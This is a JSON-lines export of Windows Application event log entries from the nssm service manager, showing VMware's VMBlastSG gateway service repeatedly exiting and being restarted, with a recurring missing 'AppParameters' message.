{"@timestamp":1646708836710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159033}}
{"@timestamp":1646708836710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159034}}
{"@timestamp":1646708836711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159035}}
{"@timestamp":1646708965200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159036}}
{"@timestamp":1646708965201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159037}}
{"@timestamp":1646708965202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153400","0"]}}},"module":"Application","provider":"nssm","sequence":159038}}
{"@timestamp":1646708965203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153400","153400","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159039}}
{"@timestamp":1646708965220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159040}}
{"@timestamp":1646708965221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159041}}
{"@timestamp":1646708965221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159042}}
{"@timestamp":1646708965222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159043}}
{"@timestamp":1646709093781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159044}}
{"@timestamp":1646709093782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159045}}
{"@timestamp":1646709093783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156196","0"]}}},"module":"Application","provider":"nssm","sequence":159046}}
{"@timestamp":1646709093784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156196","156196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159047}}
{"@timestamp":1646709093802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159048}}
{"@timestamp":1646709093802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159049}}
{"@timestamp":1646709093803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159050}}
{"@timestamp":1646709093804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159051}}
{"@timestamp":1646709222301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159052}}
{"@timestamp":1646709222304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159053}}
{"@timestamp":1646709222305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155832","0"]}}},"module":"Application","provider":"nssm","sequence":159054}}
{"@timestamp":1646709222305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155832","155832","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159055}}
{"@timestamp":1646709222323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159056}}
{"@timestamp":1646709222324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159057}}
{"@timestamp":1646709222324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159058}}
{"@timestamp":1646709222325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159059}}
{"@timestamp":1646709350817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159060}}
{"@timestamp":1646709350818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159061}}
{"@timestamp":1646709350819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156280","0"]}}},"module":"Application","provider":"nssm","sequence":159062}}
{"@timestamp":1646709350819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156280","156280","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159063}}
{"@timestamp":1646709350836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159064}}
{"@timestamp":1646709350836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159065}}
{"@timestamp":1646709350837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159066}}
{"@timestamp":1646709350838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159067}}
{"@timestamp":1646709479351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159068}}
{"@timestamp":1646709479352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159069}}
{"@timestamp":1646709479353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154800","0"]}}},"module":"Application","provider":"nssm","sequence":159070}}
{"@timestamp":1646709479353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154800","154800","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159071}}
{"@timestamp":1646709479369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159072}}
{"@timestamp":1646709479370,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159073}}
{"@timestamp":1646709479371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159074}}
{"@timestamp":1646709479371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159075}}
{"@timestamp":1646709607908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159076}}
{"@timestamp":1646709607909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159077}}
{"@timestamp":1646709607909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156508","0"]}}},"module":"Application","provider":"nssm","sequence":159078}}
{"@timestamp":1646709607910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156508","156508","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159079}}
{"@timestamp":1646709607931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155972","0"]}}},"module":"Application","provider":"nssm","sequence":159080}}
{"@timestamp":1646709607932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155972","156508","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159081}}
{"@timestamp":1646709607950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159082}}
{"@timestamp":1646709607951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159083}}
{"@timestamp":1646709607951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159084}}
{"@timestamp":1646709607952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159085}}
{"@timestamp":1646709736456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159086}}
{"@timestamp":1646709736458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159087}}
{"@timestamp":1646709736459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156356","0"]}}},"module":"Application","provider":"nssm","sequence":159088}}
{"@timestamp":1646709736459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156356","156356","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159089}}
{"@timestamp":1646709736476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159090}}
{"@timestamp":1646709736477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159091}}
{"@timestamp":1646709736477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159092}}
{"@timestamp":1646709736478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159093}}
{"@timestamp":1646709864972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159094}}
{"@timestamp":1646709864973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159095}}
{"@timestamp":1646709864973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156140","0"]}}},"module":"Application","provider":"nssm","sequence":159096}}
{"@timestamp":1646709864973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156140","156140","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159097}}
{"@timestamp":1646709865000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159098}}
{"@timestamp":1646709865001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159099}}
{"@timestamp":1646709865001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159100}}
{"@timestamp":1646709865002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159101}}
{"@timestamp":1646709993506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159102}}
{"@timestamp":1646709993508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159103}}
{"@timestamp":1646709993508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155796","0"]}}},"module":"Application","provider":"nssm","sequence":159104}}
{"@timestamp":1646709993509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155796","155796","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159105}}
{"@timestamp":1646709993532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159106}}
{"@timestamp":1646709993534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159107}}
{"@timestamp":1646709993534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159108}}
{"@timestamp":1646709993535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159109}}
{"@timestamp":1646710122035,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159110}}
{"@timestamp":1646710122037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159111}}
{"@timestamp":1646710122038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155828","0"]}}},"module":"Application","provider":"nssm","sequence":159112}}
{"@timestamp":1646710122038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155828","155828","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159113}}
{"@timestamp":1646710122056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159114}}
{"@timestamp":1646710122057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159115}}
{"@timestamp":1646710122057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159116}}
{"@timestamp":1646710122058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159117}}
{"@timestamp":1646710250568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159118}}
{"@timestamp":1646710250568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159119}}
{"@timestamp":1646710250569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156264","0"]}}},"module":"Application","provider":"nssm","sequence":159120}}
{"@timestamp":1646710250569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156264","156264","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159121}}
{"@timestamp":1646710250587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159122}}
{"@timestamp":1646710250588,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159123}}
{"@timestamp":1646710250589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159124}}
{"@timestamp":1646710250590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159125}}
{"@timestamp":1646710379087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159126}}
{"@timestamp":1646710379089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159127}}
{"@timestamp":1646710379090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147260","0"]}}},"module":"Application","provider":"nssm","sequence":159128}}
{"@timestamp":1646710379090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147260","147260","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159129}}
{"@timestamp":1646710379108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159130}}
{"@timestamp":1646710379108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159131}}
{"@timestamp":1646710379109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159132}}
{"@timestamp":1646710379110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159133}}
{"@timestamp":1646710507590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159134}}
{"@timestamp":1646710507592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159135}}
{"@timestamp":1646710507593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156644","0"]}}},"module":"Application","provider":"nssm","sequence":159136}}
{"@timestamp":1646710507593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156644","156644","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159137}}
